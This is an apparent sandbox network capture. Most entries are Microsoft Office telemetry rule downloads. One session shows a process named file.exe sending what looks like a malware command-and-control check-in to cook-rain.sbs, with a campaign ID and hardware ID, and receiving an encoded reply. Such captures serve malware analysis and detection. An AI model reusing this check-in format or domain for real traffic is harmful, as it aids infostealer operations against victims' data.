2024-11-22 00:02:40 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:40 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:40 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000240Z-15b8b599d88m7pn7hC1TEB4axw00000000qg00000000cmk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:40 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:40 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:40 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000240Z-178bfbc474bq2pr7hC1NYCkfgg00000002e0000000001305 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:41 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:40 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:41 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000241Z-178bfbc474bwh9gmhC1NYCy3rs000000027000000000kbkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:41 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:40 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:41 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000241Z-178bfbc474bnwsh4hC1NYC2ubs00000002ag000000004ra7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:41 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:42 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:43 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000242Z-174c587ffdftv9hphC1TEBm29w00000000eg000000008r3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:43 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:42 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000242Z-174c587ffdfdwxdvhC1TEB1c4n00000000fg000000009ze1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:42 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:43 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000243Z-174c587ffdfmrvb9hC1TEBtn3800000000pg00000000d160 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:43 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:43 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000243Z-178bfbc474bscnbchC1NYCe7eg00000002ag00000000d5sy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:43 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:43 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 25a1d219-c01e-007a-1943-3cb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000243Z-178bfbc474brk967hC1NYCfu60000000020g000000008r7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:02:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49767	104.21.66.38	443	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:43 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-22 00:02:43 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 34 42 44 44 30 30 37 35 32 43 41 41 38 41 36 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=4BDD00752CAA8A67D7CBBD6DF28D3732
2024-11-22 00:02:44 UTC	1000	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bu0oallqfnf222k29p2t994ea8; expires=Mon, 17-Mar-2025 17:49:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qjqd5YdNZjqlUXEnuW7YKdCbnpIbpOZZBc4hH%2FdB4OTOoFgaC6rdU6zxAlc3miUFA9IE0QwOTUsrBl8tp0Wig0JZW6XnKFGsegBOEJVUzEr18kl2kwBF%2BvKoIETlLXmK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e64a7026eb5efa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2232&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=1270670&cwnd=32&unsent_bytes=0&cid=41b3b736af45ba5c&ts=746&x=0"
2024-11-22 00:02:44 UTC	214	IN	Data Raw: 64 30 0d 0a 78 47 6a 66 75 4a 39 2f 55 52 4e 4e 78 71 36 4e 4d 41 4a 68 39 66 7a 2b 66 50 4a 35 4d 6b 71 67 41 7a 42 44 38 53 55 50 6f 4c 65 66 45 2f 33 4e 76 55 56 7a 65 7a 6d 79 33 72 64 73 4c 54 33 61 7a 63 5a 4a 33 45 73 44 66 34 34 79 41 58 44 66 46 44 6e 38 6d 4b 73 4f 75 65 53 77 47 7a 52 31 59 36 50 57 36 42 49 75 51 35 4f 49 33 45 62 43 56 52 41 76 67 6a 6b 42 50 74 31 65 4c 64 57 56 2f 6b 71 33 7a 4f 73 50 61 30 39 69 6d 6f 47 38 43 44 64 50 78 38 33 4c 55 73 4e 49 41 57 53 52 4e 57 78 73 67 6c 46 71 77 64 71 59 52 36 33 5a 38 52 73 2b 66 6d 4f 6a 31 75 67 53 4c 6b 4f 54 69 4e 78 47 77 6c 55 51 4c 34 49 35 41 44 36 73 0d 0a Data Ascii: d0xGjfuJ9/URNNxq6NMAJh9fz+fPJ5MkqgAzBD8SUPoLefE/3NvUVzezmy3rdsLT3azcZJ3EsDf44yAXDfFDn8mKsOueSwGzR1Y6PW6BIuQ5OI3EbCVRAvgjkBPt1eLdWV/kq3zOsPa09imoG8CDdPx83LUsNIAWSRNWxsglFqwdqYR63Z8Rs+fmOj1ugSLkOTiNxGwlUQL4I5AD6s
2024-11-22 00:02:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:44 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 00:02:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:02:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000245Z-178bfbc474bh5zbqhC1NYCkdug000000023000000000f1a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 00:02:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 00:02:44 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
